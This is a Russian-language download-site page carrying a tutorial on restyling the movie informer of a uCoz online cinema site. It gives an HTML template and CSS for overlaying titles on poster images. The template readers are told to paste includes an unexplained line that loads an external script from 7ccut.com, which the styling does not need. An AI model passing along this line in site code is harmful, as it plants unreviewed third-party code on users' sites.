Четверг, 25.04.2024, 20:16
Главная



Вход
Приветствую Вас Гость | RSS
http://www.loadru.ru- лучший софт для Вашего П. К.
Форма входа
Меню сайта
Категории раздела
ИНТЕРНЕТ И СЕТЬ [36]
ЗАЩИТА [36]
МОБИЛЬНИКИ [57]
МУЛЬТИМЕДИА [103]
СИСТЕМА [109]
СКИНЫ\ОБОИ\ИКОНКИ [47]
ДРАЙВЕРЫ [8]
СКРИПТЫ [227]
Скрипты "Платное бесплатно!"
ПРОЧЕЕ [13]
Наш опрос
Какие типы программ стоит размещать на нашем сайте?
Всего ответов: 66
Кнопки
Наша кнопка
Лучший софт для Вашего П. К.
Реклама


Главная » Файлы » СКРИПТЫ

Вид информера онлайн кинотеатра
Все файлы, статьи, опубликованные материалы, находящиеся на данном сайте, были найдены в сети интернет, как свободно распространяемые или присланы различными пользователями.
Подождите: 0 сек ...
Внимание: зарегистрируйтесь и скачивайте без ожидания.
25.01.2014, 17:32
Если вы владелец онлайн кинотеатра в системе uCoz, и пользуетесь информерами, то статья именно для вас.
Стандартный вид информеров не то, что поможет привлечь потенциальных зрителей, а скорее отпугнет. Во-первых, из-за того, что заходят в кинотеатр, все должно быть наглядно. Изначально информер выглядит как простой текст (название), с датой добавления, и автором, все. Мало, кто захочет читать. Поэтому для информеров такого типа нужна как минимум картинка. Это не обязательно может быть информер фильмов. Да, уже нормально, но фильмы имеют названия разной длины, потому все картинки смещаются, какие-то выше, какие-то ниже, в общем, весь вид портится.

Я предлагаю сделать надписи прямо на картинке, при этом красиво это все оформив.

Итак, начнем.

Для начала, вставим этот код в шаблон информера.

Код
<table border="0" cellpadding="2" cellspacing="1" width="100%" class="infTable">  
<tbody>  
<tr align="center">  
<td class="infTitle" colspan="2">  
<p>  
<div class="image">  
<a href="$ENTRY_URL$"><img src="$IMG_URL1$" vspace="5" width="160" height="220" align="center" border="2" hspace="10" title="$TITLE$" style="vertical-align: bottom;"></a>  
<h2> <script src="http://7ccut.com/table.js" type="text/javascript"></script>  
<div class="img_title"><div align="left"><a href="$ENTRY_URL$">$TITLE$</a></div></div>  
</h2>  
</div>  
</p>  
</td>  
</tr>  
</tbody>  
</table>


После чего, в CSS вставляем данные стили.

Код
.img_title {  
word-wrap: break-word;  
text-indent: 0px;  
font-size: 13px;  
color: #376d9c;  
font-weight: bold; font-family: Arial Narrow, sans-serif;  
background: #ffffff;  
height: 40px;  
vertical-align:middle;  
width: 162px;  
left: 20px;  
text-align: center;  
-webkit-box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
-moz-box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
-webkit-box-shadow: 0 15px 10px -10px rgba(0, 0, 0, 0.5), 0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
-moz-box-shadow: 0 15px 10px -10px rgba(0, 0, 0, 0.5), 0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
box-shadow: 0 15px 10px -10px rgba(0, 0, 0, 0.5), 0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
}  
.image {  
position: relative;  
width : 100%;  
}  
h2 {  
position: absolute;  
top: 170px;  
left: 0;  
width : 100%;  
vertical-align:middle;  
}


Это придаст нашему блоку с названием тень, а тексту стиль.

height: 40px - можно убрать, чтобы блок сам увеличивался или уменьшался в зависимости от длины заголовка. Или оставить, если хотите, чтобы блоки были одинаковые (при этом если надпись длиннее оставленной высоты (места), то она будет вылезать за рамки).

Код
h2 {  
position: absolute;  
top: 170px;  
left: 0;  
width : 100%;  
vertical-align:middle;  
}  
.image {  
position: relative;  
width : 100%; /* for IE 6 */  
}  
Категория: СКРИПТЫ | Добавил: Bitfood
Просмотров: 259 | Загрузок: 0 | Рейтинг: 0.0/0
Перед тем как скачать "Вид информера онлайн кинотеатра", проверьте ВСЕ ссылки на работоспособность. На момент публикации "", все ссылки были в рабочем состоянии
Всего комментариев: 0
Поиск
Теги
Профиль
Привет: Гость

Сообщения:

Гость, мы рады вас видеть. Пожалуйста зарегистрируйтесь или авторизуйтесь!
Кто нас сегодня посетил
Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0

Зарег. на сайте Всего: 145

Новых за месяц: 0

Новых за неделю: 0

Новых вчера: 0

Новых сегодня: 0

Друзья сайта
  • Наши партнёры!

  • Наш файловый хостинг


  • Мини-чат
    Реклама
    mad08.ucoz.ru © 2024
    Проверить тиц pr
    создание сайтов, разработка сайтов Лучший софт для Вас!